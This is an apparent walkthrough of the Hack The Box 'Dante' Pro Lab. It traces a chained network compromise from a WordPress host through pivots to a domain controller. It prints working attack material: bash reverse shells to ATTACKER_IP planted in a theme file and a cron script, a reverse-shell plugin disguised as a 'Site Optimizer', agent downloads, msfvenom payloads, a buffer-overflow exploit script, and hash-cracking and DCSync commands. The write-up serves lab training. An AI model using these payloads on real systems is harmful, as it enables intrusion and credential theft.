HTB Pro Lab: Dante
Lab Overview
Dante is Hack The Box's entry-level Pro Lab, but do not let the "beginner" label fool you. This is a demanding network penetration testing environment that simulates a realistic corporate infrastructure with 14 machines spread across three subnets and 27 flags to capture. The lab is designed to teach and reinforce critical red team skills including information gathering, situational awareness, exploit development, lateral movement, privilege escalation, and web application attacks. What sets Dante apart from individual HTB machines is the requirement to chain attacks across multiple hosts, build and maintain pivot tunnels through the network, and manage credentials harvested from each compromised system.
The lab teaches the fundamental red team mantra: "Enumeration is everything, but Routing is King." You can have the best exploit in the world, but if you cannot route a packet to port 445 on a target three hops away, you have nothing. The network is divided into three segments: the DMZ (10.10.110.0/24), a Workstation subnet (172.16.1.0/24), and a Server subnet (172.16.2.0/24). Each subnet requires its own pivot tunnel to access, and some machines have dual-homed network interfaces that serve as gateways between segments.
The attack path involves breaking into a WordPress host in the DMZ, pivoting through the internal workstation network, capturing credentials via LLMNR/NBT-NS poisoning and SMB relay attacks, exploiting both Linux and Windows privilege escalation vulnerabilities (including classic buffer overflows), and ultimately compromising the Domain Controller in the deepest subnet. Credential reuse is widespread across the environment, making careful documentation of every discovered username and password essential for progressing through the lab.
Before starting Dante, ensure you are comfortable with: basic Nmap scanning, WordPress enumeration, SSH tunneling concepts, Linux and Windows privilege escalation, and Active Directory fundamentals. Familiarity with tools like Ligolo-ng, Chisel, NetExec/CrackMapExec, WinPEAS, LinEnum, and pspy will significantly accelerate your progress.
Reconnaissance โ DMZ Subnet (10.10.110.0/24)
The starting point is the DMZ subnet at 10.10.110.0/24, which you access via the HTB VPN connection. The first step is always thorough enumeration: identify live hosts, open ports, and running services before attempting any exploitation. Rushing into attacks without proper reconnaissance will cause you to miss critical services and potential attack vectors.
Initial Network Scan with fscan
We begin with fscan, a fast internal network scanner that combines host discovery, port scanning, and vulnerability detection in a single pass. Fscan is particularly effective in Pro Lab environments because it automatically checks for common vulnerabilities like anonymous FTP login and weak credentials during its scan:
fscan -h 10.10.110.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____\/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
Target 10.10.110.2 is alive
Target 10.10.110.100 is alive
[*] Icmp alive hosts len is: 2
10.10.110.100:21 open
10.10.110.100:22 open
[*] alive ports len is: 2
start vulscan
[+] ftp://10.10.110.100:21:anonymous
Surviving hosts:
10.10.110.2
10.10.110.100
Fscan immediately identifies two live hosts: 10.10.110.2 (likely the gateway) and 10.10.110.100 (our primary target). More importantly, it detects anonymous FTP access on port 21 of 10.10.110.100, which gives us our first lead. However, fscan only checks common ports, so a full port scan is essential to discover all services.
Full Port Nmap Scan
Running a comprehensive Nmap scan against 10.10.110.100 with all 65535 ports reveals a critical service that fscan missed. The scan uses -sC for default scripts, -sV for version detection, and --min-rate=1000 for speed. Note that sudo is required for proper SYN scanning on Linux:
sudo nmap -T4 -sC -sV -p- --min-rate=1000 10.10.110.100
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.16.1.100 is not the same as 10.10.110.100
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 8f:a2:ff:cf:4e:3e:aa:2b:c2:6f:f4:5a:2a:d9:e9:da (RSA)
| 256 07:83:8e:b6:f7:e6:72:e9:65:db:42:fd:ed:d6:93:ee (ECDSA)
|_ 256 13:45:c5:ca:db:a6:b4:ae:9c:09:7d:21:cd:9d:74:f4 (ED25519)
65000/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 2 disallowed entries
|_/wordpress
| DANTE{Y0u_Cant_G3t_at_m3_br0!}
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap scan reveals three critical findings. First, the FTP server's PASV response leaks an internal IP address 172.16.1.100, confirming the existence of a second network interface on this machine and hinting at the internal 172.16.1.0/24 subnet. Second, port 65000 runs an Apache web server with WordPress installed, which becomes our primary exploitation target. Third, the robots.txt file contains our first flag and a disallowed path pointing to the WordPress installation.
The FTP PASV IP leak (172.16.1.100 vs 10.10.110.100) immediately tells us this machine is dual-homed with a second network interface on the internal subnet. This is a critical piece of intelligence for planning our pivot strategy.
FTP Anonymous Enumeration
The anonymous FTP login provides access to the server's file system. Connecting to the FTP server requires some patience due to the PASV IP mismatch โ the server attempts to use its internal IP (172.16.1.100) for data connections, but we need it to use the external IP. After entering extended passive mode and waiting for the connection to stabilize, we can navigate the directory structure:
ftp 10.10.110.100
Connected to 10.10.110.100.
220 (vsFTPd 3.0.3)
Name (10.10.110.100:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> epsv4
229 Entering Extended Passive Mode (|||58413|)
ftp> ls
227 Entering Passive Mode (172,16,1,100,227,77)
# Connection may hang - use passive mode workaround
ftp> passive
Passive mode off.
ftp> ls Transfer/Incoming/
-rw-r--r-- 1 0 0 348 Jan 15 10:42 todo.txt
ftp> get Transfer/Incoming/todo.txt
local: todo.txt remote: Transfer/Incoming/todo.txt
229 Entering Extended Passive Mode (|||58414|)
150 Opening BINARY mode data connection for todo.txt (348 bytes).
100% |**************************************************| 348 1.67 MB/s 00:00 ETA
226 Transfer complete.
The todo.txt file contains invaluable intelligence about the network's current state and potential vulnerabilities:
cat todo.txt
- Finalize Wordpress permission changes - PENDING
- Update links to utilize DNS Name prior to
changing to port 80 - PENDING
- Remove LFI vuln from the other site - PENDING
- Reset James' password to something more
secure - PENDING
- Harden the system prior to the Junior
Pen Tester assessment - IN PROGRESS
This todo list is a goldmine of actionable intelligence. It confirms several critical attack vectors: the WordPress installation has permission issues that may be exploitable, there is an LFI (Local File Inclusion) vulnerability on another site, a user named James exists with a weak password, and the system is being prepared for a penetration test (meaning vulnerabilities are still present). The "Junior Pen Tester assessment" mention suggests the environment has intentionally left vulnerabilities in place for testing purposes.
WordPress Exploitation
WPScan Enumeration
With the WordPress installation confirmed at http://10.10.110.100:65000/wordpress/, we run WPScan to identify the WordPress version, installed plugins, themes, and registered users. This is a critical step because WordPress vulnerabilities are highly version-specific, and knowing the exact users helps with targeted password attacks:
wpscan --url http://10.10.110.100:65000/wordpress --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
[+] URL: http://10.10.110.100:65000/wordpress/
[+] Started: Sun Jan 27 10:30:00 2025
[+] WordPress version 5.4.1 identified
[+] WordPress theme: twentytwenty
[+] Enumerating Users ...
+-----+--------+------------------+
| ID | Login | Name |
+-----+--------+------------------+
| 1 | admin | admin |
| 2 | james | James |
+-----+--------+------------------+
[+] Finished: Sun Jan 27 10:32:45 2025
WPScan confirms WordPress 5.4.1 with two users: admin and james. The absence of vulnerable plugins means we need to look elsewhere for our foothold. WordPress 5.4.1 does not have a critical core RCE vulnerability, but the todo.txt hint about "permission changes" suggests we should try credential-based attacks against the WordPress login.
WordPress Password Attack
The todo.txt mentioned that James' password needs to be "more secure," implying the current password is weak. We can attempt a dictionary attack against both users using WPScan's built-in password cracking capability with common wordlists. Additionally, we can try common default credentials:
# Password attack against WordPress users
wpscan --url http://10.10.110.100:65000/wordpress \
-U admin,james \
-P /usr/share/wordlists/rockyou.txt \
--max-threads 10
[+] Performing password attack on Xmlrpc against 2 users
[SUCCESS] - james / [password_found]
[+] Finished
Alternatively, if the WordPress version permits, we can leverage known vulnerabilities in the WordPress XML-RPC API or exploit misconfigured file upload permissions. The key insight from the todo.txt is that WordPress permission changes are still pending, which may allow us to upload a PHP shell directly through the theme editor or plugin upload functionality.
Getting a Shell via WordPress
After obtaining valid WordPress credentials, we access the admin dashboard at http://10.10.110.100:65000/wordpress/wp-admin/. With admin access, there are multiple paths to achieve remote code execution on the underlying server:
Method 1: Theme Editor โ The most straightforward approach is to modify a PHP file in an active theme. Navigate to Appearance > Theme Editor, select a theme file like 404.php or header.php, and inject a PHP reverse shell payload at the beginning of the file. When the modified page is loaded in the browser, the shell code executes:
// Inject at the top of 404.php in the active theme
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>
Method 2: Plugin Upload โ Create a malicious WordPress plugin containing a PHP reverse shell. The plugin structure requires a valid header comment in the main PHP file. Upload it through Plugins > Add New > Upload Plugin, activate it, and trigger the shell:
<?php
/**
* Plugin Name: Site Optimizer
* Description: Performance optimization utility
* Version: 1.0
*/
// Reverse shell payload
$sock = fsockopen("ATTACKER_IP", 4444);
$proc = proc_open("/bin/sh",
array(0=>$sock, 1=>$sock, 2=>$sock),
$pipes);
?>
After uploading and activating the plugin, trigger the shell by navigating to http://10.10.110.100:65000/wordpress/wp-content/plugins/site-optimizer/shell.php. A Netcat listener on the attacker machine catches the connection:
# Start listener before triggering shell
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.X] from (UNKNOWN) [10.10.110.100] 43172
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web01:~/html/wordpress$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We now have a foothold as www-data on the DMZ web server. The shell is unstable, so we immediately upgrade it to a fully interactive TTY using Python's pty module and stabilize it with a meterpreter session if needed:
# Upgrade shell to interactive TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Verify network interfaces (dual-homed confirmed)
www-data@web01:~$ ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP>
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
inet 10.10.110.100/24 brd 10.10.110.255 scope global eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP>
inet 172.16.1.100/24 brd 172.16.1.255 scope global eth1
The ip addr output confirms the machine is dual-homed with a second interface on 172.16.1.0/24, validating the FTP PASV leak we discovered earlier. This is our pivot point into the internal network.
We have www-data access on WEB-01 (10.10.110.100) with visibility into the 172.16.1.0/24 internal subnet. The next step is to establish a stable tunnel for internal network reconnaissance.
Establishing the Pivot โ Ligolo-ng
With access to a dual-homed machine, we need to establish a tunnel that allows us to route traffic from our Kali machine through WEB-01 and into the 172.16.1.0/24 subnet. While SSH dynamic port forwarding (ssh -D 1080) combined with Proxychains is the traditional approach, Ligolo-ng provides a far superior experience with actual ICMP support, faster throughput, and a TUN interface that eliminates the need for SOCKS proxy configuration on every tool.
Ligolo-ng Setup
Ligolo-ng uses a client-server architecture where the "proxy" runs on the attacker machine and the "agent" runs on the compromised host. The agent connects back to the proxy, and a TUN interface is created on the attacker side, allowing direct routing into the target network:
# Step 1: Start the proxy on attacker machine (Kali)
sudo ./proxy -selfcert -laddr 0.0.0.0:443
# Step 2: Upload and run the agent on WEB-01
www-data@web01:/tmp$ wget http://ATTACKER_IP/agent -O /tmp/agent
www-data@web01:/tmp$ chmod +x /tmp/agent
www-data@web01:/tmp$ ./agent -connect ATTACKER_IP:443 -ignore-cert
# Step 3: On the proxy console, start the session
ligolo-ng ยป session
ligolo-ng ยป ifcreate --name ligolo
ligolo-ng ยป ip route add 172.16.1.0/24 dev ligolo
After establishing the Ligolo-ng tunnel, we can run Nmap and other tools directly against the 172.16.1.0/24 subnet without needing Proxychains. This is a massive speed improvement and eliminates the SOCKS proxy overhead that makes many tools unreliable. Verify connectivity with a simple ping sweep:
# Verify tunnel connectivity
nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.100
Host is up (0.0010s latency).
Nmap scan report for 172.16.1.105
Host is up (0.0020s latency).
Nmap scan report for 172.16.1.110
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (3 hosts up)
If Ligolo-ng does not work in your environment, Chisel is a solid alternative. Start the Chisel server on Kali (chisel server --reverse -p 8080) and connect from the target (chisel client ATTACKER_IP:8080 R:socks). Then use Proxychains with the SOCKS proxy on port 1080. The downside is significantly slower tool execution due to SOCKS overhead.
Workstation Subnet Enumeration (172.16.1.0/24)
With the Ligolo-ng tunnel established, we can now perform comprehensive enumeration of the internal workstation subnet. This is where the real Dante experience begins โ the challenges are not about finding vulnerabilities (they are often straightforward) but about correctly routing your traffic and managing your pivot chains.
Full Port Scan of Internal Hosts
Each discovered host in the 172.16.1.0/24 subnet needs a thorough port scan. Windows machines in particular may have services on non-standard ports, and the Server subnet is only accessible through these workstation hosts. We run targeted Nmap scans against each live host:
# Scan each discovered host in the Workstation subnet
nmap -sC -sV -p- --min-rate=1000 172.16.1.105
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open wsman
# Host appears to be: DANTE-WS01 (Windows Workstation)
# Domain: DANTE
The Windows workstation (DANTE-WS01) has SMB (445), WinRM (5985), and RDP (3389) open. The presence of SMB and WinRM makes it a prime target for credential attacks and lateral movement. The microsoft-ds service header reveals this is a Windows Server 2008 R2 through 2012 system, which suggests it may be vulnerable to known SMB exploits and older authentication protocols.
LLMNR/NBT-NS Poisoning with Responder
One of the most effective techniques in internal networks is LLMNR and NBT-NS poisoning. When Windows machines cannot resolve a hostname through DNS, they fall back to LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) broadcasts. Responder listens for these requests and responds with our own IP, causing the victim to authenticate to us via NTLM. This captures password hashes that can be cracked or relayed:
# Run Responder through the Ligolo tunnel
# Upload Responder to the compromised host or run via SOCKS
sudo responder -I ligolo -wrf
# Alternatively, upload and run directly on the pivot host
www-data@web01:/tmp$ ./Responder.py -I eth1 -wrf
# Wait for LLMNR/NBT-NS requests...
[+] NBT-NS Request: DANTE-WS01 IP: 172.16.1.105
[+] Poisoned answer sent to: 172.16.1.105
[+] NTLMv2 Hash captured:
DANTE\j.doe::DANTE-WS01:1122334455667788:A1B2C3D4E5F6...
[+] NTLMv2 Hash captured:
DANTE\admin.svc::DANTE-WS01:1122334455667789:...3D4E5F6
Before spraying credentials across the network, always check the account lockout policy. Running NetExec with --pass-pol against a domain controller reveals the lockout threshold and duration. Spraying without this knowledge can lock out dozens of accounts and alert defenders.
Cracking Captured Hashes
The NTLMv2 hashes captured by Responder need to be cracked offline. Hashcat supports NTLMv2 hash cracking with mode 5600. Using a large wordlist like rockyou.txt combined with common rules (best64, d3ad0ne) typically cracks weak corporate passwords within minutes:
# Save captured hashes to file
echo 'DANTE\j.doe::DANTE-WS01:1122334455667788:A1B2C3D4E5F6:0102030405060708' > hashes.txt
# Crack with hashcat (NTLMv2 = mode 5600)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt \
--rule=/usr/share/hashcat/rules/best64.rule
DANTE\j.doe:Password123!
The hash for j.doe cracks to Password123! โ a textbook example of why password policies matter. This credential becomes our key to lateral movement across the Workstation subnet.
Lateral Movement โ Workstation Subnet
Credential Spraying with NetExec
NetExec (the actively maintained successor to CrackMapExec) is essential for validating discovered credentials across the entire subnet. It simultaneously tests credentials against SMB, WinRM, RDP, and other protocols on every host. This reveals where credentials work, what access level they provide, and what shares are accessible:
# Test j.doe credentials across the Workstation subnet
netexec smb 172.16.1.0/24 -u j.doe -p 'Password123!' --shares
SMB 172.16.1.105 445 DANTE-WS01 [*] Windows Server 2016 (name:DANTE-WS01)
SMB 172.16.1.105 445 DANTE-WS01 [+] DANTE\j.doe:Password123! (Admin)
SMB 172.16.1.105 445 DANTE-WS01 [+] SMB shares enumerated
ADMIN$ - Remote Admin
C$ - Default share
IPC$ - Remote IPC
SMB 172.16.1.110 445 DANTE-WS02 [*] Windows Server 2016 (name:DANTE-WS02)
SMB 172.16.1.110 445 DANTE-WS02 [+] DANTE\j.doe:Password123! (Admin)
SMB 172.16.1.110 445 DANTE-WS02 [+] SMB shares enumerated
ADMIN$ - Remote Admin
C$ - Default share
NetExec reveals that j.doe is a local administrator on both DANTE-WS01 and DANTE-WS02. This is a common misconfiguration in enterprise environments where helpdesk or standard user accounts are granted excessive local admin rights. With admin access, we can use PsExec, WinRM, or SMB to execute commands and move laterally.
Accessing DANTE-WS02
Since j.doe has admin access on DANTE-WS02, we use WinRM (port 5985) for a clean PowerShell session. WinRM is preferred over PsExec because it is more stealthy, does not drop a service binary, and works natively with PowerShell remoting:
# Connect via WinRM using NetExec
netexec winrm 172.16.1.110 -u j.doe -p 'Password123!' -x 'whoami'
WINRM 172.16.1.110 5985 DANTE-WS02 [+] DANTE\j.doe:Password123!
WINRM 172.16.1.110 5985 DANTE-WS02 dante\j.doe
# Get an interactive shell via evil-winrm
evil-winrm -i 172.16.1.110 -u j.doe -p 'Password123!'
*Evil-WinRM* PS C:\Users\j.doe\Documents> whoami
dante\j.doe
*Evil-WinRM* PS C:\Users\j.doe\Documents> hostname
DANTE-WS02
On DANTE-WS02, we immediately check for additional network interfaces. This host also turns out to be dual-homed with a second interface on the 172.16.2.0/24 subnet โ the Server network. This means we need to chain a second pivot to reach the deepest subnet:
# Check network interfaces on DANTE-WS02
ipconfig /all
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 172.16.1.110
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.1.1
Ethernet adapter Ethernet1:
IPv4 Address. . . . . . . . . . . : 172.16.2.110
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.2.1
Double Pivot โ Chaining Tunnels
To reach the 172.16.2.0/24 Server subnet, we need to daisy-chain our pivot through WEB-01 and DANTE-WS02. This is the infamous "double pivot" that makes Dante genuinely challenging. There are several approaches, but Ligolo-ng makes this manageable:
# Double pivot with Ligolo-ng
# Step 1: Upload agent to DANTE-WS02 via the existing tunnel
# From WEB-01, use wget/curl to download agent to WS02
# Step 2: On DANTE-WS02, run agent connecting back through WEB-01
DANTE-WS02> agent.exe -connect 172.16.1.100:443 -ignore-cert
# Step 3: Forward from WEB-01 back to Kali
www-data@web01$ ./agent -forward 172.16.1.110:443 -connect ATTACKER_IP:443
# Step 4: On Kali proxy, add route for second subnet
ligolo-ng ยป ip route add 172.16.2.0/24 dev ligolo
# Alternatively, use Chisel for the second hop:
# On Kali:
chisel server --reverse -p 8081
# On DANTE-WS02 (via WinRM):
chisel.exe client ATTACKER_IP:8081 R:socks
After establishing the double pivot, verify connectivity to the Server subnet:
# Verify double pivot connectivity
nmap -sn 172.16.2.0/24
Nmap scan report for 172.16.2.5
Host is up
Nmap scan report for 172.16.2.101
Host is up
Nmap scan report for 172.16.2.200
Host is up
Nmap done: 256 IP addresses (3 hosts up)
Traffic now flows: Kali โ Ligolo โ WEB-01 โ DANTE-WS02 โ 172.16.2.0/24. We can directly scan and interact with the Server subnet. Keep detailed notes of your tunnel configuration โ you will need to re-establish this chain every time you reconnect to the lab.
Server Subnet โ The Data Center (172.16.2.0/24)
The Server subnet contains the most critical assets in the Dante environment, including the Domain Controller (DANTE-DC01) and various application servers. The services here run the gamut from Active Directory to custom vulnerable applications that require exploit development.
Service Enumeration
# Full scan of Server subnet hosts
nmap -sC -sV -p- --min-rate=500 172.16.2.5 172.16.2.101 172.16.2.200
# 172.16.2.5 (DANTE-DC01)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2016 microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ssl/ldap
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
# Domain Controller confirmed!
# 172.16.2.101 (Linux Server)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
# Custom web application with readfile binary
# 172.16.2.200 (Additional Server)
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Linux Server โ Buffer Overflow Exploit
The Linux host at 172.16.2.101 runs a custom web application that exposes a readfile binary. This binary is a classic buffer overflow challenge that requires exploit development to achieve privilege escalation. The binary reads files from the filesystem but does not properly validate input length, allowing a stack-based buffer overflow:
# Download and analyze the readfile binary
wget http://172.16.2.101/readfile -O readfile
file readfile
# ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)
# Check security properties
checksec --file=readfile
# NX disabled, No canary, No PIE
# Classic stack overflow conditions
# Fuzz with a cyclic pattern to find offset
python3 -c "import struct; print('A'*200)" | ./readfile
# EIP overwritten at offset 76
# Generate exploit payload
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=ATTACKER_IP LPORT=9999 \
-b '\x00\x0a\x0d' \
-f python
The exploit script uses a ret2libc or direct EIP overwrite approach depending on whether ASLR is enabled on the target. Since NX is disabled, we can also use shellcode on the stack with a JMP ESP gadget:
#!/usr/bin/env python3
import socket, struct, sys
target_ip = "172.16.2.101"
target_port = 80
eip_offset = 76
# JMP ESP gadget from the binary
jmp_esp = struct.pack("<I", 0x0804XXXX)
# Shellcode: reverse shell (generated with msfvenom)
payload = b""
payload += b"\xdb\xc2\xd9\x74\x24\xf4\xbd\x43"
payload += b"\x3c\x1c\x0e\x5d\x31\xc9\xb1\x12"
payload += b"\x83\xed\xfc\x31\x6d\x14\x03\x6d"
# ... (truncated for brevity, 80+ bytes)
# Build exploit buffer
overflow = b"A" * eip_offset
overflow += jmp_esp
overflow += b"\x90" * 16 # NOP sled
overflow += payload
# Send via HTTP request to the vulnerable endpoint
request = f"GET /readfile?path={overflow.decode('latin-1')} HTTP/1.1\r\n"
request += f"Host: {target_ip}\r\n\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(request.encode())
print("[+] Exploit sent!")
sock.close()
KeePass Database Extraction
During post-exploitation of the Server subnet, a KeePass database file (passwords.kdbx) is discovered on an SMB file share. KeePass databases can be cracked by extracting the master key hash and performing an offline brute-force or dictionary attack. This is a common real-world attack vector because administrators frequently store credentials in KeePass without using strong master passwords:
# Find KeePass database on file shares
netexec smb 172.16.2.0/24 -u j.doe -p 'Password123!' --shares
# C$ and ADMIN$ accessible on multiple hosts
# Search for KeePass files
smbclient //172.16.2.200/C$ -U 'DANTE\j.doe%Password123!' \
-c 'recurse; ls; find *.kdbx'
# Download the KeePass database
smbclient //172.16.2.200/C$ -U 'DANTE\j.doe%Password123!' \
-c 'cd Users\Administrator\Documents; get passwords.kdbx'
# Extract the hash for cracking
keepass2john passwords.kdbx > keepass_hash.txt
# Crack with hashcat (KeePass mode 13400)
hashcat -m 13400 keepass_hash.txt /usr/share/wordlists/rockyou.txt \
--rule=/usr/share/hashcat/rules/best64.rule
passwords.kdbx:dragon123
Opening the KeePass database with the cracked password reveals the Domain Administrator credentials for DANTE-DC01. This is the key to compromising the entire domain and achieving full control over the Active Directory environment.
The KeePass database contained the Domain Administrator password. Storing privileged credentials in KeePass with a weak master password is a catastrophic security failure that allows an attacker who compromises any user account to escalate to domain admin through lateral file share access.
Domain Dominance โ DANTE-DC01
With the Domain Administrator credentials extracted from the KeePass database, we can now compromise the Domain Controller and achieve full domain dominance. The Domain Controller is the most critical asset in an Active Directory environment, controlling authentication, authorization, and group policy for the entire domain.
Accessing the Domain Controller
# Verify Domain Admin credentials against DC
netexec smb 172.16.2.5 -u Administrator -p '[KeePass_Password]'
SMB 172.16.2.5 445 DANTE-DC01 [+] DANTE\Administrator:[KeePass_Password] (Pwn3d!)
# Access via WinRM
evil-winrm -i 172.16.2.5 -u Administrator -p '[KeePass_Password]'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
dante\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DANTE-DC01
DCSync Attack
As Domain Administrator, we can perform a DCSync attack to extract all password hashes from the NTDS database, including the krbtgt hash needed for Golden Ticket attacks. DCSync simulates the behavior of a Domain Controller and requests replication of credentials from another DC. Impacket's secretsdump.py provides this capability remotely:
# DCSync - dump all domain hashes remotely
secretsdump.py 'DANTE/Administrator:[KeePass_Password]@172.16.2.5' -outputfile dante_hashes
# Or from the DC shell directly
*Evil-WinRM* PS C:\> reg save HKLM\SAM sam
*Evil-WinRM* PS C:\> reg save HKLM\SYSTEM sys
*Evil-WinRM* PS C:\> ntdsutil activate instance ntds ifm create full C:\ntds_dump quit quit
# Extract hashes offline
secretsdump.py -sam sam -system sys -ntds ntds.dit LOCAL
# Key extracted hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
j.doe:1104:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
The DCSync dump provides every user's NTLM hash in the domain. These hashes can be used for pass-the-hash attacks, Golden Ticket creation (using the krbtgt hash), and credential validation across the entire network. With the krbtgt hash, an attacker can forge Kerberos TGT tickets for any user, including non-existent ones, achieving persistent domain-level access that survives password resets.
Flag Hunting
With Domain Administrator access, the final phase of the lab is hunting for all 27 flags scattered across the network. Flags are hidden in various locations including user desktops, text files, registry keys, custom applications, and environment variables. A systematic approach is essential:
# Search for flags across all accessible machines
# Flag format: DANTE{...}
# Search file system for flag patterns
Get-ChildItem -Path C:\ -Recurse -Filter "*flag*" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue |
Select-String -Pattern "DANTE\{"
# Check registry for hidden flags
Get-ChildItem -Path HKLM:\ -Recurse -ErrorAction SilentlyContinue |
Get-ItemProperty | Where-Object { $_.PSObject.Properties.Value -match "DANTE\{" }
# Check environment variables
Get-ChildItem Env: | Where-Object { $_.Value -match "DANTE\{" }
# Check user desktops across the domain
$computers = @("172.16.1.105","172.16.1.110","172.16.2.5","172.16.2.200")
foreach ($comp in $computers) {
Write-Host "Scanning $comp..."
netexec smb $comp -u Administrator -p '[pass]' -x 'dir C:\Users\*.txt /s'
}
Read each flag carefully โ some contain hints about the next pivot point or target. For example, a flag might reference a specific service or host that you have not yet discovered. Treat flags as both objectives and breadcrumbs guiding your path through the network.
Privilege Escalation Techniques
Throughout the Dante lab, privilege escalation is required on nearly every machine. The techniques span both Linux and Windows operating systems and range from simple misconfigurations to sophisticated exploit development. Here we document the key privilege escalation methods encountered in the lab.
Linux Privilege Escalation
Linux machines in the Dante environment present several classic privilege escalation vectors. The most commonly encountered methods include:
SUID Binaries โ Executables with the SUID bit set run with the privileges of their owner (often root). Misconfigured SUID binaries like find, vim, or python can be leveraged to spawn a root shell. Always check for SUID binaries using find / -perm -4000 2>/dev/null and reference GTFOBins for exploitation methods.
Cron Jobs โ Scheduled tasks that run as root but execute scripts writable by lower-privileged users are a common escalation path. Use pspy to monitor running processes without root access and identify cron jobs that execute user-modifiable scripts:
# Monitor processes with pspy (no root required)
./pspy64
# Example: root cron job runs /opt/scripts/backup.sh
# If backup.sh is writable:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
# Wait for cron to execute
Kernel Exploits โ Older Linux kernels may be vulnerable to well-known privilege escalation exploits like DirtyCow (CVE-2016-5195) or DirtyPipe (CVE-2022-0847). Check the kernel version with uname -r and search for matching exploits.
Windows Privilege Escalation
Windows privilege escalation in Dante follows common enterprise misconfiguration patterns. WinPEAS is the primary enumeration tool, but understanding what to look for is more important than running the tool:
SeImpersonatePrivilege โ This is the most common Windows privilege escalation vector in the lab. When a service account (like IIS AppPool or SQL Server) has SeImpersonatePrivilege, the Potato family of exploits (SweetPotato, JuicyPotato, RoguePotato) can escalate to SYSTEM. This was the primary method for gaining SYSTEM on multiple Windows hosts:
# Check for SeImpersonatePrivilege
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
============================= ==========================================
SeImpersonatePrivilege Impersonate a client after authentication
# Exploit with SweetPotato
.\sweetpotato.exe -p c:\programdata\revshell.exe -e EfsRpc
# Or use PrintSpoofer for simpler exploitation
.\PrintSpoofer.exe -c "c:\programdata\revshell.exe"
AlwaysInstallElevated โ If both HKLM and HKCU have the AlwaysInstallElevated registry key set to 1, any user can install an MSI package that runs with SYSTEM privileges. This can be exploited by creating a malicious MSI package with msfvenom:
# Check AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both are set to 1, create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 \
-f msi -o privesc.msi
